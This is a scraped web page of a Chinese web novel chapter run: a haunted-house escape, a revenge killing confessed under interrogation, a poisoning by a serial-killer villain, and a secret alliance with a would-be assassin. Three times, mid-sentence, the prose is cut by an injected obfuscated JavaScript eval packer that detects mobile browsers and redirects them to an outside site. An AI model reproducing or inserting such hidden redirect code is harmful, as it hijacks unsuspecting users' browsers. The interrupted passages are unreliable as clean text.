按照通常写法,B的两个圆为上小下大。而这里正好有一大一小相邻的结构。 燕逸岫思索着这点,一步步倒回走廊中间。 那么指的就是这间最大的办公室和它左侧的办公室。 负责三楼的一组人员正在最大的办公室里,于是燕逸岫选了另一间推门入内,从门后开始一寸寸摸索。 墙似乎只是普通的白墙,上面仅有增添鬼屋氛围感的几个血手印,没发现什么暗道暗门机关。 燕逸岫的目光落在靠墙摆放的两个矮柜和嵌于墙里的书架上。 柜子可以移动,墙后没有奇怪的痕迹。 那就只剩书架了。 她招呼隔壁的人聚集过来把上面的书和摆件全部搬到别处,等清空物品后,她再一格格耐心摸索,敲打推拉。 十几秒后,众人听见咔哒一声。 燕逸岫随之睁大双眼,加快速度摆弄几下使其松脱,最后慢慢拉出一块横板。 她再依照刚才的方法和方向用力扯,把几层横板全部拆下后,成功拉开了侧边的木板。 出现在所有人面前的是一个黑漆漆的洞口,大小仅容一人侧身钻进去,泥土石灰的冰冷气味从中散发出来。 几个NPC连忙跑去将还待在其它楼层的人都叫过来。 燕逸岫从办公桌上随意拿起一支笔朝洞里丢,听到它咕噜噜滚进去,声音越来越远。 这确实是条通道。 “是出口!一定是出口!” “太好了!” 上吊员工NPC打起了精神,容光焕发:“我去探探路!你们在这儿等我。” “我也去!”又有两个NPC随他一起钻进去。 “把这个带上试试吧。”虽然希望不大,但燕逸岫还是把上五楼用的解锁芯片递过去给她们。 见欧徽没打算动,燕逸岫决定也留在这里,正好盯着剩余的玩家和NPC。 一群人就这么守在入口边,忐忑不安等待着结果。 酷妹一直牵挂着好朋友的下落,眉头始终没有舒展开,心急如焚。 短卷发女生,也就是寸头男的女朋友,似乎还沉浸在目睹了对象尸体的恐怖梦魇中,低头呆愣愣盯着地面不动。 红发女生情绪较为稳定,干等着也没什么事,就趁这段时间把四周摆设再翻了一遍,失望地叹了几口气。 燕逸岫则在屋里来回踱步,状似漫不经心地晃悠到办公室门口,靠在墙边挡着,谨防某人趁着大伙不注意离开去做别的事情。 四五分钟后,洞里传出响动,那三个NPC重新出现在众人面前,连脸上的灰土都顾不上擦,激动不已:“有出口有出口,谢天谢地,但也是上锁的,我们只要找到钥匙就能出去了!” 她们顶着触发机制而弹出的贴脸鬼图把门和锁的形状样式拍下,带回来展示给众人看。 出口是一块厚重铁门,隔音效果很好,耳朵贴在门上也听不见外头任何动静,因此拍打呼喊也无法求救。 门上的锁是一块坚固的金属感应装置,所以对应钥匙很可能也是芯片。 有了突破性进展,气氛终于活跃了几分。大家叽叽喳喳讨论起钥匙可能是什么样,可能藏在哪里。 交换信息后她们发现在先前搜索中都没有发现类似的东西。 “可能还有什么机关也是杀人犯后来才设置的,大家还是分批一起行动吧,这次分成五组,每层都找找。”熟悉鬼屋的NPC蹦起来指挥大家。 燕逸岫如今也没什么好顾忌的,直接站到了欧徽身旁,一起被分到四层。 酷妹也凑到四层的队伍中:“凶案发生的那间办公室好像还没仔细搜过,我要去找找看。” 哪里都没有发现曾琼瑾,那么只剩一种可能了。 欧徽嘶了一声:“你不害怕吗?那可是真的尸体啊,怪瘆人的。” “是得去,”燕逸岫神色不变,点点头附和,“说不定钥匙就在那间屋子里呢。” 分完组,所有人有序展开搜查行动。 酷妹火急火燎先一步走进寸头男横尸的办公室,燕逸岫紧随其后踏入,无声地深呼吸。 绝对不能让她成为第一发现者。 燕逸岫先认真找了一会儿芯片,才走向她藏起曾琼瑾的地方,打开柜门。 “……我找到她了。”燕逸岫抬起头说道。 闻言,酷妹豁然转身。 看到燕逸岫万分严肃的表情,她就明白了,眼泪夺眶而出。 “琼瑾……琼瑾……”她捂着嘴抽泣,跌跌撞撞贴着墙小跑到燕逸岫身边,看到了被塞在小柜子里的人和那苍白面容。 燕逸岫拦住她不让她触碰,扶起跪倒在地的人离得远些:“别碰,小心会破坏尸体上的证据,更难抓到凶手。” 毫不掩饰的哭声引来其她人,得知又有一具尸体被发现,她们都黯然神伤,不知自己和剩下这些人的命运会是如何,但还是强撑起精神安抚面前这位嗓子快要哭哑的可怜人。 等到酷妹情绪稍稍平复,大家才继续寻找钥匙。 燕逸岫也松了手,让她到走廊呼吸新鲜空气,自己则继续翻找屋里的线索。 当她想要拿下书架上的摆件时,突然发现自己手臂上多了一条长方形的红印子。 什么时候磕到了? 燕逸岫收回胳膊摸了摸,意识到是刚才酷妹趴在她身上痛哭时,她的手环压在了自己胳膊上,才留下了印痕。 ……手环? 燕逸岫这才想起身上还有这么个东西。由于手环质地又轻又软,才很容易忽略它的存在。 她立即跑出去,正好碰上老板NPC在附近,于是她立刻抓住对方询问:“这个手环是做什么用的,是原本游戏中需要的道具吗?” “不是道具,没什么特别的用处,”NPC摇头否认,“就只是区分玩家和NPC,让NPC能更快锁定玩家去吓唬人。” 燕逸岫了然,接着就把手环取下检查。 手环是柔软的厚实橡胶,从外面摸不出什么来,于是她回到办公室中找了把剪刀,小心地把手环剪断,一点点撕开。 同层的另外几人也好奇地凑过来。 快把整条手环撕完时,一小块银色金属片从夹层里露了出来。 众人惊呼,燕逸岫也不禁诧异扬眉,没想到手环里真的暗藏玄机。 她捏起这小小的东西查看,一头有细小的凹槽,另一头额外凸出一块,像片拼图一样。 看样子是需要集齐所有碎片才能拼成完整的芯片。 “快把你们的手环都摘下来检查一遍。” 听到燕逸岫的话,还愣神的玩家们连忙行动起来,欣喜不已。 原来钥匙一直藏在她们自己身上。 大家正仔细掰着手环内层,燕逸岫趁这会儿回了办公室里,取来寸头男和曾琼瑾两人的手环。 最后燕逸岫接过每个人递来的部分,按照形状把它们依次拼起来,摆在桌上。 芯片形状是普通的四方形,但侧边缺了一部分。 还差一块。 “对哦……”红发女生抬手摸下巴,“还有一个人……” 还差第一个被害者身上的芯片。 他被杀手偷偷藏起来,至今不知道在哪里。 “还有哪里没搜过?快快快,快一起找,马上就能逃出去了!” 大概是因为曙光就在眼前,在喜悦和希望的刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617767|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激下,大家的思维都变得更活跃,陆陆续续发现之前没注意到的地方。 “这里还没找过。” “对对对,还有这里,我看看。” “有没有可能在这里?” 燕逸岫参与其中,不仅是认真找藏尸之处,也趁此机会凑近每一个人身上闻气味。 既然从物件上找不到多少线索,不如反向追查,接近在场所有人,看看谁身上有不寻常的痕迹。 她对寸头男案的案发经过推测还有些模糊不定。 割喉会产生大量血迹喷溅,凶手不可能一点都没沾到,所以行凶时那人必然是披上雨衣之类的东西进行遮挡。 但目前也没有找到过沾染大量血迹的物件。 她晃悠到红发女生身边时,她正掀开沙发坐垫。 里面是空的。 她将坐垫放回去,又趴到地上看沙发底下,最后顶着失望的神色起身。 “底下很窄,鞋都挤不进去,根本不可能藏人……” 随口抱怨着,她和燕逸岫忽然同时愣住。 两人转头对视,立刻再次掀开沙发坐垫。 果然,沙发里的空间大小和外表看上去不太相同。 里面空间较浅,但沙发底很低,说明在内层底下应该还有一层。 几人合力抬起沙发底下的木制垫板移走。 如她们所料,第一具尸体就平躺在沙发最底处。 “找到了!” 集齐碎片成功拼成完整的钥匙后,大家冲向三楼的出口通道,依次入内。 燕逸岫观察着每一个人的位置,找准时间推了欧徽一把,假装急着离开,催促他赶紧进去,别磨磨蹭蹭。 欧徽担惊受怕这么久,本就巴不得早点走,便顺水推舟迅速钻进通道。 燕逸岫紧随其后,挡在他后方守住,不让某个仍然藏在人群里伪装着的杀手有机会靠近欧徽从而下手。 通道里的土腥味更重,但燕逸岫闻着却觉得舒畅心安。 最先到达出口铁门边的NPC将芯片贴在感应器上。 三秒后,一道荧光从芯片里亮起,沿着拼接的缝隙流淌散开,延伸到感应器上。 门锁开了。下一刻,铁门缓缓开启。 夜晚的夏风从洞口灌入,吹得每个人的心都热起来,仿佛复活般开始鲜活跳动。 前头的人激动不已,前行速度更快,让跟随在后面的也能尽快出来。 燕逸岫的位置大概在中间,她能听到铁门开启的声音,听到前方变得杂乱的脚步声,还有逐渐响亮的嘈杂声。 等她钻出来撩开乱糟糟的头发,才发现街道上围了一群正在拍照录像的路人。 她习惯性地低下头躲到阴影处。 十几名警员从左右两侧朝她们跑来。 刚从黑暗中逃出的众人还不太适应刺目的闪光灯,眯起眼抬手遮挡,边回答警方的问话,告诉她们楼里还有几具尸体。 所有人成功离开大楼后,大家三三两两紧密相拥,庆祝劫后余生。 短卷发女生也喜极而泣,可想到惨死的男朋友,她又面露悲伤,身体晃了晃,几乎站不稳。 一边胳膊从她背后伸出将她扶住。 燕逸岫拍拍她的背安抚,语气关切:“节哀,警察一定会找出凶手为他讨回公道的。” 她有些不好意思,赶紧抹去泪水,郑重地点点头。 燕逸岫揽过她的肩,和大家一起慢慢走向路边,准备随工作人员回警局做笔录。 “走吧,对了,我还有件事想问你。” “什么?” 燕逸岫朝她偏头,半垂眼帘,眼中浮现出略微笑意:“你为什么要杀你男朋友?” 31. 与反派的合作 “对,是我杀了他。” 审讯室里,梁羲瑞彻底卸下伪装的伤心惊惧,懒散地支着下巴回答对面的警察,后背仍然挺得笔直。 当燕逸岫突然问出那句话时,她头脑一片空白,下意识停下脚步,想不明白为什么她会识破。 但燕逸岫捏住她的胳膊,揽得更紧,继续带着她往前走,看似保护的姿势实则是禁锢,似乎生怕她逃跑。 不过她从没想过畏罪潜逃。 “我妈妈出车祸去世了,”梁羲瑞叹气偏过头,短卷发遮住她的半张脸,没有说得太详细,“就是他干的,喝了酒还和朋友半夜飙车比什么赛,结果害死了我妈妈,肇事逃逸。” “可他家里有关系,明明是这么清晰明了的案子,最后居然判他无罪释放,监控等证据也都离奇消失,他的朋友也为他作伪证,唯一的目击者也被威胁封口,不愿再牵扯上关系。” “到最后没有人能帮我们。” 谭誉道和警员无言对视,两人记忆中都没有类似描述的案件发生。 梁羲瑞扯起一抹讥讽的笑:“他背后关系硬得很呢,这件案子的信息全都被压下来了,而且是发生在其它省份的事情,你们不清楚也正常。” “既然法律不能伸张正义,我就亲自动手,得知他在天均区的S大上学,我辞去原工作跑到这里来上班,想尽办法和他产生交集。自从妈妈离开,往后支撑我活着的念头只有一个,就是接近他杀了他,为妈妈报仇。” “我和他交往不久,一直没找到合适的机会,我也还没做好准备。” “所以你原本有所犹豫?”谭誉道问道。 梁羲瑞挑眉,觉得可笑,往后靠在椅背上:“你在说什么傻话,我的没做好准备是指,我还没想好怎么行凶才能将他的痛苦放到最大,让他痛到下辈子都记得这种感觉。” “半个月前,有个神秘人突然联系我,他说知道我的事,也知道我的计划,所以他提出了合作。” “他打算派杀手解决一个目标,等他找到合适的时机了,就让我也带上人去,可以混在人群里趁机杀了他,嫁祸给安排好的杀手,把自己摘出来。” “虽然不知道他为什么会选择找我,也不知道他怎么发现我的计划,但他有能力帮到我,我自然不会拒绝。” “作为代价,我也要帮他做一件事。” “什么事?” 梁羲瑞耸耸肩,避而不答。 “只是一件很简单的事,你们很快就知道了。” 梁羲瑞说完这些就不再开口,沉默地拨着衣角,假装听不见任何声音。 燕逸岫此时正和另外几位警员站在单面镜前听着审讯过程,见她不肯透露更多信息,心中隐隐不安。 反派让她做了什么事情? 欧徽活得好好的,现在同样正在接受审讯,她私底下请警员为欧徽额外做了检查,也没发现什么不对劲。 “逸岫!” 门被推开,压抑着激动的呼喊打断了她的思绪。 燕逸岫转身,看到秦观秋大步朝她跑来。 “观……哎哎哎!” 秦观秋一把把燕逸岫抱起来,玩小孩似的猛猛转两圈:“哎哟,你可算出来了我们都要吓死了,还好你没出事。” 这么大的人了还被抱起来转圈圈,而且还有其她警察看着,燕逸岫一下子涨红了脸,被放下后笑着小声说道:“观秋姐,我用上了你教我的过肩摔,谢谢你。” “谢什么谢什么,下次再多教你些。” 趁这会儿梁羲瑞沉默不语,审讯没有进展,燕逸岫拉过秦观秋走向走廊,问起这段时间发生了什么。 两人边聊着,慢慢走到窗前。天空中偶有闪电划过,一瞬间照亮夜幕,又很快熄灭,重归黑暗。 快下雨了。 秦观秋简明扼要说了这几小时的事情。 燕逸岫随欧徽进入鬼屋后,她们怎么也联系不上人,难免担心,就询问了系统,结果却连祂也感知不到她的情况。 而这意味着她陷入最糟糕的一种境地。 姜韫明白这是反派为了引出行动组成员而设下的圈套,马上联络了警局前往燕逸岫最后消失的鬼屋进行救援。 这栋鬼屋的窗户全都是假的,早已封死,除了大门之外没有别的出入口。 警员们本以为毁掉门锁就可以顺利进入,但没想到门上安装的炸弹挡住了她们的路。 一句话在炸弹屏幕上反复滚动。 “强闯即自动开启炸弹3s倒计时。” 爆破组火速赶到现场,扫描检测后确认这不是吓唬人的,装置的线如树根般四散延伸在墙中,一旦感应到门和墙体被破坏,炸弹就会自行爆炸。 该炸弹是自创装置,她们以前都没见过,装置机关难以拆除,炸药成分复杂,且威力巨大,一旦发生爆炸,这一片区域都将遭受重创,死伤无数。 在警员们满头大汗试图摸透它的构造时,另一段话跳了出来,鲜红的字不紧不慢地滑动展示。 “这是我与新朋友之间的游戏。如果玩家成功逃脱,炸弹装置将自动失灵销毁。 我向来信守承诺——仅在无外人干扰不被激怒的情况下。 我一直注视着你们。” 凶手发出直白威胁,警方不好再轻举妄动,但也不可能就此放弃,置其中十几二十人的性命于不顾。她们只能先操纵无人机扫描整栋建筑,守在外围进行研究,商讨不同的行动计划做好万全准备。 还好事情没发展到最难办的程度,玩家们最终成功离开了这栋鬼屋。 当芯片感应解开了出口的锁,炸弹装置上亮着的倒计时屏幕也同时熄灭。 危险解除。 所有人心中的大石头平稳落地。爆破组确认安全后小心地拆下这个奇特的炸弹装置带回去研究,毕竟谁也不知道将来哪天反派又会用上这种炸弹。 窗外忽然雷声大作。没过几秒,大雨瓢泼而下。 窗户敞开一半,雨水被狂风卷入泼洒向两人。 一滴滴落在衣服上,缓慢晕湿出一个个冰冷的圆。 无风的室内也下着一场黏稠的雨,一滴滴砸在地上,飞溅起无数细小的滚烫血珠。 “快叫救护车!”警员大喊。 审讯室里一片混乱。 欧徽紧紧掐住脖子,痛苦地一口口呕血,黑红的血不断从他七窍流出,模样极其可怖。 燕逸岫和秦观秋飞奔回欧徽所在的审讯室,但为时已晚,他在极短的时间内就没了呼吸。 黑血淌过的皮肤全都发红溃烂,他的眼球也被充满剧毒的血腐蚀,只剩两个深深的黑洞。 “血有毒,所有人都别接触,马上离开站到外面通风处,我通知医生来处理。” 秦观秋很快镇定下来,出声稳住所有人,联系了医院后再将突发情况汇报给姜韫。 燕逸岫则是返回单面镜前。 梁羲瑞也听到了屋外不远处的动静,肩膀放松下来,露出释然笑意:“他帮我,我帮他,现在我可以告诉你们了。” 她要帮对方的事情,就是按照他的指示杀人藏尸下毒。 对方将毒药放在指定位置由她去取走,悄悄带进鬼屋里,神不知鬼不觉地下毒。 这种特制毒物进入人体后可以潜伏很长时间,并不会马上发作,看不出任何端倪,本人感受不到任何不适,只有在喝了水之后才起效果。 “你知不知道和你合作的凶手就是臭名昭著的血图连环杀手?你这是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628733|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袒护杀人犯。” “那又怎么样,”梁羲瑞冷冷撇开目光,“我管他是什么身份,只要能提供机会让我亲手杀了那个混球报仇,我什么都愿意做。” “你会坐牢。”谭誉道皱眉。 “无所谓,我本就是抱着同归于尽的打算。已经结下深仇大恨了,怎么可能还有心思在乎自己的结局,会不会被抓我无所谓,会不会死我也无所谓,只要能亲手杀了他,我就了无遗憾了。” 梁羲瑞说完后停了片刻,转而弯起笑眼:“我最开始是这么想的,不过,我后来改主意了。” 她坐直倾身向前,近距离与两人对视,慢悠悠说道:“既然要复仇,当然是同态复仇才最解恨,他怎么对我和家人,我也怎么对他。” “他杀了人还能无罪释放逍遥法外,凭什么我报仇要把自己赔进去?那岂不是还是我可怜?” “我答应与那人合作,提出的条件还有一点……抹除所有指向我的证据。” 谭誉道脸色微变。 同样站在单面镜前的警员立刻打电话给痕检人员和法医询问进展。 得到的答案只有一个——什么线索都没有,还需要深入检查。 梁羲瑞忍不住笑出了声,她抬头望向天花板,目光转了一圈,将眼底若隐若现的泪光压了下去,表情重新变得冷漠。 “抱歉了,我不会坐牢的,我也会和他一样逍遥法外,不受法律制裁。” “可惜被那个女生看出我是凶手,导致我留在警局接受盘问,没能马上告诉他家人这个喜讯,没能亲眼欣赏他们愤怒痛苦的表情。” 谭誉道望着她,不知道该说什么,低头记录下一条信息。 反派瞄准心怀仇恨的人提出互利条件,借对方之手杀人。 虽然她直接坦白了罪行,但因为没有任何证据,警方只能放梁羲瑞离开。 她走出审讯室后,看到燕逸岫抱臂靠在走廊墙上,似乎在等她。 “怎么,要说教我吗?还是明知道我是凶手但抓不了而不甘心?” “你为什么确定对方会信守承诺抹除证据,而不是直接将所有罪推到你身上?” “因为那个人找回了车祸案消失的所有证据交给我,作为合作的凭证。” 这确实是反派独特的能力,只有他能办得到,难怪梁羲瑞会信任他。 燕逸岫放下胳膊走到她面前:“我只是想提醒一句,你杀了他,他家人不会就此罢休,如果正如你所说,他家有背景,那今后你的处境就变得更危险。” 梁羲瑞并不在乎,神色如常:“如果他的家人也要报仇,那就尽管来吧,我这一年多可不是天天干坐着流泪捱过来的。” “敢对我出手,我手里握有的证据就能将先把那群人拉下水,我倒要看看谁先不好过。” 见她早就做好了一直对抗下去的决心,燕逸岫便没再说什么。 “以后哪天我死了,如果灵魂能飞去见妈妈,也不知道她会不会训斥我最后也变成杀人犯了。” “不会的,”燕逸岫轻声回答,“我想她会抱抱你,说你辛苦了。” 梁羲瑞抬头看向面前的女生。 不管在鬼屋里面临死亡险境、成功脱逃还是眼睁睁看着凶手走出警局,她的目光总是像湖一样平静,难辨悲喜,让人无法看透。 真到了那一天,也不知道一切会不会如她所说,不知道自己能不能再感受到妈妈的拥抱。 离开警局后,燕逸岫没有直接回家,而是乘车去了一趟医院。 上楼找到对应号码的病房,燕逸岫敲敲门走进去,看到坐在床上的人正仰头喝水。 “都这么晚了还不休息,”曾琼瑾放下水杯,声音仍然有些沙哑,“我还以为你明天才会来。” 32. 我会反水成为你的暗线 “过来亲眼看看你的情况才比较安心,”燕逸岫轻轻关好门,开启微系统防窃听模式,“以防留下容易查证的痕迹,所以没法给你带点慰问品之类的,抱歉。” “有什么好客气的,快坐吧,是我先对你动手想杀人的,我还没说抱歉呢。” “你朋友大概多久回来?” “等导员签字批假等了好久,现在去帮我打包些换洗衣服了,大概半小时吧。” “看来我得早点回去,免得被她撞见。” 燕逸岫凑近端详她脖子上横着的长长一条红痕,询问这道伤会不会影响到身体其它机能。 曾琼瑾抬头让她看个仔细:“我身强力壮的,没死透就不会有事,医生也说好好休息一段时间就没问题。” 燕逸岫这才放心不少:“他后来联系你了吗?” 成功脱逃结束游戏后,她已经将鬼屋里的经历反反复复回忆了好几遍,生怕自己哪里出差错会导致一切努力全部白费。 事情的转折是在她钳制住曾琼瑾之后发生的。 曾琼瑾说着自己不得不杀人,说自己不知道出口和钥匙在哪,随后她却借着微光朝对方眨眼暗示,并传达了另一讯息。 你留我,我帮你。 我想活命,我会反水成为你的暗线。 正目不转睛盯着她的燕逸岫敏锐地接收到信号,凭着直觉一瞬间权衡清楚利弊和风险,盘算好可行的计划,然后也以眼神给了她肯定的回复。 燕逸岫感觉得出曾琼瑾不是十恶不赦的人,前面她也暗示了自己身不由己的境地,事关反派,有机会摸到更多线索,燕逸岫当然想试试。 于是,接下来她们要演一出戏给监控那头的反派看个够。 虽然燕逸岫和曾琼瑾在进入鬼屋之前并不认识,但在那仅仅三四秒的对视中,两个女生都读懂了对方的意思,默契地达成共识。 “其实我并不确定你会信任我,毕竟你当时的表情看起来并不像是会心慈手软,”曾琼瑾想笑,又不敢太用力,便抬手按着受伤的喉咙克制力道,“而且你勒我脖子的时候似乎下了死手啊,我真以为自己见不到明天的太阳了。” 燕逸岫尴尬地摸鼻子:“我当然不想这样,可不狠一点又怕骗不过正在监视的人,让他看出我手下留情了,他可是逍遥法外一年多的连环杀人犯,眼神和心思哪样不精。” “那倒也是。” 而且,燕逸岫多少也要考虑曾琼瑾伪装投诚的可能性。动手假装杀人,一来骗过反派,二来也正好削弱曾琼瑾的能力限制行动,她才能安心继续寻找逃生出口。 估摸着反杀戏码演得差不多了,燕逸岫就松手放下她,开始快速处理现场。 曾琼瑾则闭着眼控制呼吸和胸膛的起伏,认真扮演起一具软倒在地的尸体。 等燕逸岫藏好“尸体”离开后,曾琼瑾才慢慢恢复意识,透出微弱的呼吸。 这是计划的第一步,假装杀人。 第二步,就是做好凶手会做的所有事情,比如故意徘徊在现场附近,成为第一发现者,让尸体周边出现的有关自己的痕迹变得合理。 酷妹与朋友感情深厚,发现“尸体”后必然会扑到她身边查看,从而察觉曾琼瑾还有心跳和温度,并没有死。 一旦酷妹说出真实情况,那么身旁的燕逸岫听到她的话,理所当然地就必须找机会行动再杀她一遍。如果她明知对方活着却不动手,那么这场表演就会被反派识破了。 所以她摆出一副不忍心的神色,阻拦酷妹靠近。 “尸体”塞在柜子里蜷缩成一团,正常工作的心跳和其它小动作也不容易被发现。 全套戏码流程走完,才会让反派相信她确实是下了死手,以为自己已经把曾琼瑾杀了,并不知道对方其实还活着。 最后鬼屋通道打开,警方进入现场进行取证和检查尸体时,惊喜地发现被塞在柜子里曾琼瑾尚存一丝气息,仍有生存的希望。 于是她们火速将曾琼瑾送上救护车赶往医院抢救。 在反派看来,情况就是燕逸岫以为自己成功反杀敌人,解决掉了隐患之一,但不料曾琼瑾居然命不该绝,侥幸活了下来,处于昏迷不醒气息微弱的状态,最后因及时送医抢救成功。 至于后面的事情,就只能看反派的心情了。 曾琼瑾最后究竟能不能活下来,能不能继续活着并留在反派组织里,燕逸岫没把握。 反派或许会因为她没完成任务、在异能成员面前暴露身份而杀了她斩草除根,销毁一颗无关紧要的棋子,又或许会留下她以便将来继续利用。 结局会是哪种,燕逸岫不是预知未来的神,只能靠赌,赌反派玩这个“游戏”的主要目的是试探她的深浅,焦点在她的身份能力和系统上,那么就可能不会太看重杀人任务成功与否。 “他联系我了,我演着一副恼火羞愤不甘心的样子,说将来一定要亲自杀了她报仇,请他留我继续待在组织里。”曾琼瑾呲牙咧嘴,重现当时她的语气,狂飙演技。 “本以为杀死了的人却活了下来,还从此销声匿迹,不知道哪一天会出现在背后捅几刀复仇,想必她会不安得夜夜失眠,提心吊胆不好过。我大概是这么说的。” “最后他让我先养伤,不用管别的事,以后有任务再安排执行。” 曾琼瑾拍拍她的肩:“别担心,我说我能反水帮你,自然是有一定底气,我在他手底下根本排不上号,对他一无所知,都是通过电话和信息与他联系,知道得少,我反而更安全。” “你留下了我,我也会信守承诺,”曾琼瑾朝她伸出手,“只要我在他手底下还能活一天,就会尽我所能提供相关信息给你。” 燕逸岫扬起浅笑点头,抬起手稳稳回握,指腹稍微用力覆在她手背。 如今是盛夏天气,但两人的手都有些凉,皮肤贴在一起后才生出几分温暖,缓慢蔓延开来。 “我差不多该走了,后续如果有事随时联系我,注意避人耳目。” “我知道,我记得你提醒的,这些事天知地知你知我知,不会再有别人知道,小繁我也会瞒好的,你放心,无论如何我都绝不希望她会牵扯进这些危险中。” “好,那你好好养病,以后再见。” “再见。” 大门合上。 燕逸岫上好锁,伸了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651461|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长长的懒腰,已经完全没力气多走半步,都想直接躺在玄关睡一觉了。 最后她还是勉强打起精神晃悠到卫生间里去。 随后流水声在卫生间里回荡。 燕逸岫卸掉脸上的伪装,洗了把脸醒醒神。几绺被打湿的碎发坠在发尾,随着她转身甩落。 她返回客厅躺在沙发上,本打算先眯个十来分钟,这时突然想起自己好久没打开个人面板看看数值变化了。 于是燕逸岫点开小红点,看清上面显示的数字后瞬间坐起来,两眼放光,人都清醒了不少。 屏幕上的蓝字如呼吸般慢悠悠闪烁着明明暗暗的幽光。 【敏捷】99 【五感】85 敏捷值已经99了? 她记得系统说过,技能点会随着实战不断增加,达到100满级即可觉醒异能。 她的异能会是什么样的? 燕逸岫好奇又期盼,心跳加速,她思来想去,觉得反正只差一点了,不如现在活动活动筋骨凑到满级,早点升级方便后续与敌人抗衡。 说干就干,燕逸岫火速把06推进书房去充电,避开一会儿,接着她回到客厅,鬼上身一样开始在屋里跳大神,假装被人追杀,躲来闪去,在房子里跑酷炫技。 她坚持了五分钟左右,一顿操作下来,数值分毫不动。 “……” 还好是在家里,没人看见她发癫。 燕逸岫呵呵干笑,躺回沙发上摆烂,不太放心地自言自语问了句:“系统应该看不见吧?” “看见了。”系统的声音在她耳边响起,毫不留情击碎她的自尊心。 “……” 睡前破防记忆又多了一段。 她决定现在就去上吊。 这下是真的完全清醒了,半点不觉得头脑发昏,燕逸岫索性趁现在查看队友们在她断联的这段时间里都掌握了哪些线索。 微系统里有一份季渊知整合上传的资料,是石家人的各项具体信息。 石见微,现年65岁,本地人,曾是首都第一医院院长。她的女儿名为石见真,33岁,工程师,在天均区任职,两年前生下女儿石现。 要说有什么联系的话,昆隐棋母亲是在首都第一医院生下女儿的,此后二三十年间,昆隐棋和家人有几回看病也是去第一医院挂号,但从没和忙碌的石见微院长有过直接接触。 这一点,乔琅根据缴费记录时间翻了所有昆家人出现在第一医院的陈年监控得以确认。 从昆隐棋失踪后的时间来调查对比,石见微一家也都没有奇怪的举止与行踪,每天日子都平平淡淡,一如往常。 至于那套玩具,确实有些可疑。 季渊知调阅了石家人及其亲朋好友的所有消费记录,都没有找到谁买过相同商品,这就表明送玩具的另有其人。 而昆隐棋购买玩具的日期早于照片,时间相近,是她送礼的可能性逐步上升。 乔琅在群里问道:“叫石现的小女孩会不会是昆隐棋的孩子?她在反派组织做事,危险重重,或许是她不希望孩子受牵连出事,所以把她交给信得过的石见微院长?” 33. 爱恨渴求的利用 “或者另一种可能,昆隐棋是石见微的孩子?毕竟她和石见真年龄相近。” 季渊知将几人的血型信息整理到一起。 石见真父母血型为A和AB,石见真为A型血。 昆隐棋父母都是O型血,昆隐棋也是O型。 从体检记录的血型来看,猜测并不符合。 “不过光凭资料上的信息也无法轻易断定是真实的,难说有没有经过某人更改,所以我们还是得保留这种猜测。”姜韫在群里说道。 想要解开疑问,恐怕得去采这几个人的血进行化验,但这在目前看来并不现实。 石家人那边,行动组成员没有合理理由,会惹人怀疑,打草惊蛇。昆隐棋就更不用说了,根本找不到她人影。 燕逸岫仔细阅读一条条信息,把每一份文件保存下来留着睡前研究。 这时,谭誉道也上传了几份资料,包括以往案件相关人员重新做的笔录内容和今天从鬼屋逃出来的十几人的证词。 燕逸岫想起梁羲瑞,又想到万德一和江平延。 反派明晃晃地展示出自己借刀杀人的手法,他从万千人中筛选出合适的目标,他清楚地知道对方爱什么恨什么求什么,所以以此威胁利用,达成自己的目的。 利用梁羲瑞的恨合作,以江平延求的前途引诱,以万德一爱的家人威胁。 而曾琼瑾卷入其中的缘由,燕逸岫在与她的短暂交流中得知,她也是积攒了多年的恨,最后收到反派合作的邀请。 她不止怀着自己的灼心痛苦,她还为着不懂恨的朋友恨,为了保护和拯救她们两人,曾琼瑾与黑暗里的鬼做了一笔笔交易。 复仇与遂愿的痛快会让人越陷越深,难以脱离,她天真地以为这是两不相欠的公平交易,但等到她决定退出时,才发现为时已晚。 对方已经捏住了她的软肋,可以从互相利用变成单向威胁。 但曾琼瑾内心并不是轻易认输低头的人,也不是甘心被威胁的性格,她一边继续为反派做事,一边思考如何逃离,最后总算让她抓住了机会,在黑暗里与他的敌人做了一笔交易。 曾琼瑾当然也明白反派是如何擅长利用人心,所以她“死里逃生”后,在与反派联系时有意放大和强调自己的愤怒,让对方下了她还有用的判断,给自己争来存活下去的机会。 她对燕逸岫说下次联系会把自己的故事全都告诉她。 短促的滴滴声将燕逸岫的思绪拉回当下。 是廖怀霖开启了视频通话。 “都看过来都看过来,”廖怀霖语气欢快,兴奋得笑眯了眼,“看这个——我给你们发了。” 一个文件夹传到大家微系统上。 “是我这几天捣鼓出来的新科技,在此感谢人美心善的系统配合我研究,不厌其烦地解答我的各种疑惑。” “这是改良版的讯号追踪定位设备,专门针对系统能力进行破解追踪。” 